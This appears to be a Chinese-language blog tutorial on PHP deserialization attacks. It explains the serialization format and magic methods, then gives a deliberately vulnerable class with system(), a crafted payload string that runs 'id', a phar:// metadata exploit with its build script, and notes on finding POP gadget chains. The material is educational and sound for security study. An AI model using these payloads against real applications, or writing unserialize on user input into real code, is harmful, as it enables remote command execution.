PHP反序列化

作者 ro0t 于 2021-06-23 发布
预计阅读所需时间 12 分钟
2.8k

PHP反序列化

PHP序列化

在讲反序列化原理之前,先来一段php的序列化代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class test {
private $flag = "Inactive";
public $pub_flag = "public";
protected $pro_flag = "protect";

public function set_flag($flag){
$this->flag = $flag;
}

public function get_flag($flag) {
return $this->flag;
}
}

$object = new test();
$object->set_flag("Active");
$data = serialize($object);
echo $data;

代码输出:

image-20210623150922130

把输出贴上来看,这里面都是啥意思?我们一段一段来看。

1
O:4:"test":3:{s:10:"testflag";s:6:"Active";s:8:"pub_flag";s:6:"public";s:11:"*pro_flag";s:7:"protect";}

一个图来解释

image-20210624201737222

问题来了,为啥长度为10呢?明明testflag只有8位啊?

我们把序列化的对象存起来(最后一行加上file_put_contents("serialize.txt", $data);即可),再用hex friend打开看看,会发现test的前后是有00的(00是空白符,所以复制出来的时候是看不到的)

image-20210623155438637

长度的问题解决了,那为啥代码里没有testflag,序列化后里面就有呢?

这是因为php属性权限的问题,php序列化时会将属性的权限一并进行序列化。

  • public 权限

    是几位就是几位,没啥变化。

  • private 权限

    私有权限,会加上类名(如 testflag),序列化的格式是%00类名%00属性名

  • protect 权限

    不会加上类名,但是会加上*,用来标识反序列化时的属性权限为protect,序列化的格式是:%00*%00属性名

小结一下:

  • PHP序列化时,只会序列化属性及其权限,不会序列化方法
  • PHP序列化时,需要用到serialize方法(埋个伏笔,有惊喜)

PHP反序列化原理

我们来反序列化上面的serialize.txt文件试试。

1
2
3
4
5
<?php

$data = file_get_contents('serialize.txt');
$res = unserialize($data);
echo $res->pub_flag;

发现报错:

1
2
3
/usr/local/opt/php@7.4/bin/php /Users/xxxx/PhpstormProjects/Learning/des_temp.php

Notice: main(): The script tried to execute a method or access a property of an incomplete object. Please ensure that the class definition "test" of the object you are trying to operate on was loaded _before_ unserialize() gets called or provide an autoloader to load the class definition in /Users/xxx/PhpstormProjects/Learning/des_temp.php on line 18

这是因为反序列化得到的类,不在当前类中。当更改反序列化代码之后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class test {
private $flag = "Inactive";
public $pub_flag = "public";
protected $pro_flag = "protect";

public function set_flag($flag){
$this->flag = $flag;
}

public function get_flag($flag) {
return $this->flag;
}
}

$data = file_get_contents('serialize.txt');
$res = unserialize($data);
echo $res->pub_flag;

可成功反序列化:

1
2
3
/usr/local/opt/php@7.4/bin/php /Users/xxx/PhpstormProjects/Learning/des_temp.php
public

因此,反序列化利用要注意:

  • 反序列化的时候,要保证在当前的作用域下有该类的存在
  • 要使用可控的类属性进行反序列化攻击
  • unserialize方法的参数要可控

PHP反序列化—魔法方法

魔法方法的特性:

  • 在类的序列化 或 反序列化时,会自动完成调用,不需要人工干预

因此,如果有我们可以用的魔法方法,就能打破「unserialize方法的参数要可控」的局限,进一步扩大攻击面。

常用的魔法方法

  • __construct()

    当对象创建的时候自动调用,但在unserialize的时候不会自动调用

  • __wakeup()

    在反序列化之前,会检查是否具有__wakeup()魔术方法。如果存在该方法,则在反序列化时执行该方法。__wakeup()魔术方法可以重构对象可能具有的任何资源。

  • __destruct()

    对象被销毁的时候会自动调用。

  • __toString()

    当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用

  • __get()

    从不可访问的属性读取数据

  • __call()

    在对象上下文中调用不可访问的方法时触发

  • __sleep()

    执行serialize()时,先会调用这个函数,此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。

来举个序列化例子加深一下印象:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
class test {
private $flag = "Inactive";
public $pub_flag = "public";
protected $pro_flag = "protect";

public function __sleep()
{
echo "__sleep";
echo "\n";
return array();
}

public function __wakeup()
{
echo "__wakeup";
echo "\n";
}

public function __construct()
{
echo "__construct";
echo "\n";
}

public function __destruct()
{
echo "__destruct";
echo "\n";
}

public function __get($name)
{
echo "__get";
echo "\n";
}

public function __call($name, $arguments)
{
echo "__call";
echo "\n";
}

public function __toString()
{
return "__toString";
}
}

$te = new test();
$data = serialize($te);
echo $data;
echo "\n";

输出:

image-20210624171626215

序列化时,会自动调用 __sleep 魔法方法

再来看看反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
class test {
private $flag = "Inactive";
public $pub_flag = "public";
protected $pro_flag = "protect";

public function __sleep()
{
// TODO: Implement __sleep() method.
echo "__sleep";
echo "\n";
return array();
}

public function __wakeup()
{
// TODO: Implement __wakeup() method.
echo "__wakeup";
echo "\n";
}

public function __construct()
{
echo "__construct";
echo "\n";
}

public function __destruct()
{
// TODO: Implement __destruct() method.
echo "__destruct";
echo "\n";
}

public function __get($name)
{
// TODO: Implement __get() method.
echo "__get";
echo "\n";
}

public function __call($name, $arguments)
{
// TODO: Implement __call() method.
echo "__call";
echo "\n";
}

public function __toString()
{
// TODO: Implement __toString() method.
return "__toString";
}
}

$data = file_get_contents("test.txt");
$tes = unserialize($data);
echo $tes;

输出:

image-20210624172043149

可以发现,在反序列化的时候,什么操作都没做,就会自动调用__wakeup__toString__destruct魔法方法

使用魔法方法发起攻击

假如有这样一段代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class ro0t {
public $test;
public $flag = "flag";
function __construct() {
$this->test = new A();
}

function __destruct() {
$this->test->action();
}
}

class A {
function action() {
echo "Welcome!";
}
}

class Evil {

public $test2;
function action() {
system($this->test2);
}
}

unserialize(_GET["test"]);

可以看到, 类ro0t里面有个魔法函数__destruct,而类Evil里面有个恶意函数system()可以用来执行系统命令。现在我们来利用一下,看看怎么通过构造反序列化的代码,实现任意命令执行。

为了方便演示,我将从HTTP参数获取改为了字符串获取,以上代码的最后一行就变为:

1
unserialize("O:4:\"ro0t\":2:{s:4:\"test\";O:4:\"Evil\":1:{s:5:\"test2\";s:2:\"id\";}s:4:\"flag\";s:4:\"flag\";}");

之后,我们再执行代码,可得到命令id的输出:

image-20210624200523321

你可能想问了,那个反序列化的串是怎么得到的?

其实很简单,根据以上代码,我们把最后一行改为:

1
2
3
4
5
$root = new ro0t();
$root->test = new Evil(); // 将ro0t的test属性设置为类Evil的对象
$root->test->test2 = "id"; // 再将得到的Evil对象的属性test2设置为我们想要执行的任意命令,如,id
$data = serialize($root); // 最后序列化的结果输出一下,就是payload了
echo $data;

此时输出的$data就是我们的payload的了。

image-20210624201152641

图里之所以会执行命令id,是由于代码$root->test->test2 = "id";执行了,所以不用太纠结这部分输出。

至此,就演示了一下使用魔法方法发起反序列化攻击的方法。

还记得前面的伏笔吗?我们在「PHP序列化」的小结里提到:

​ PHP序列化时,需要用到serialize方法

我们接下来解开一下这个伏笔。。。。

PHP序列化—伪协议

常规的PHP序列化需要用到serialize方法,那骚操作呢?

答案就是:phar:// 伪协议

什么是phar?

phar(Php ARchive)是PHP里类似jar的一种打包文件。在php > 5.3版本,phar后缀文件是默认开启支持的,可以直接使用。

phar文件的结构

  • 存根(stub)

    就是一个php文件,但是,必须以__HALT_COMPILER();?>结尾。

  • 清单

    由于phar是一种打包文件,里面存储着每个被压缩的文件、属性等信息,也就是这部分,会以序列化的形式存储用户自定义的meta-data,该部分也主要是用来进行反序列化攻击。

  • 文件内容

    想要压缩在phar内的文件

  • [可选]用来验证phar完整性的签名

为什么phar可以用来攻击反序列化?

php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化。

受影响的函数如下:

函数 函数 函数 函数
fileatime filectime file_exists file_get_conotents
file_put_contents file filegroup fopen
fileinode filemtime fileowner fileperms
is_dir is_executable is_file is_link
is_readable is_writable is_writeable(is_writable别名) parse_ini_file
copy unlink stat readfile

还是举个例子,来加深一下印象:

先来生成一个phar文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
class ro0t {
public $test;
public $flag = "flag";
function __construct() {
$this->test = new A();
}

function __destruct() {
$this->test->action();
}
}

class A {
function action() {
echo "Welcome!";
}
}

class Evil {

public $test2;
function action() {
system($this->test2);
}
}

@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>"); // 设置存根(stub)
$o = new ro0t();
$o->test = new Evil();
$o->test->test2 = "id";

$phar->setMetadata($o);
$phar->addFromString("te.txt", "te");

$phar->stopBuffering();

执行之后,可以看到phar.phar文件生成:

image-20210625153258024

注意一下这个.metadata.bin文件,内容是不是和之前的payload很像?

再来利用phar文件进行反序列化利用

利用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
class ro0t {
public $test;
public $flag = "flag";
function __construct() {
$this->test = new A();
}

function __destruct() {
$this->test->action();
}
}

class A {
function action() {
echo "Welcome!";
}
}

class Evil {

public $test2;
function action() {
system($this->test2);
}
}

$filename = "phar://phar.phar/te.txt";
file_get_contents($filename);

可成功执行payload

image-20210625174136877

PHP反序列化利用Gadget

什么是POP?

POP 面向属性编程(Property-Oriented Programing) 常用于上层语言构造特定调用链的方法,是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击目的。

反序列化是通过控制对象的属性从而实现控制程序的执行流程,进而达成利用本身无害的代码进行有害操作的目的。

由于PHP序列化的特性(只序列化属性,不序列化方法),所以我们需要使用POP来挖掘利用的gadget

POP常规利用Gadget

总结一下前面讲的所有例子,大致流程如下:

  • 先找有没有unserialize()函数,这个函数是否是我们可控的
  • 寻找我们的反序列化的目标,重点寻找 存在 __wakeup()__destruct()魔法函数的类
  • 最后,一层一层地研究该类在魔法方法中使用的属性和属性调用的方法,看看是否有可控的属性能实现在当前调用的过程中触发

[待补充,__wakeup()__destruct()的利用方式]


如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。 也欢迎您共享此博客,以便更多人可以参与。 如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。 谢谢 !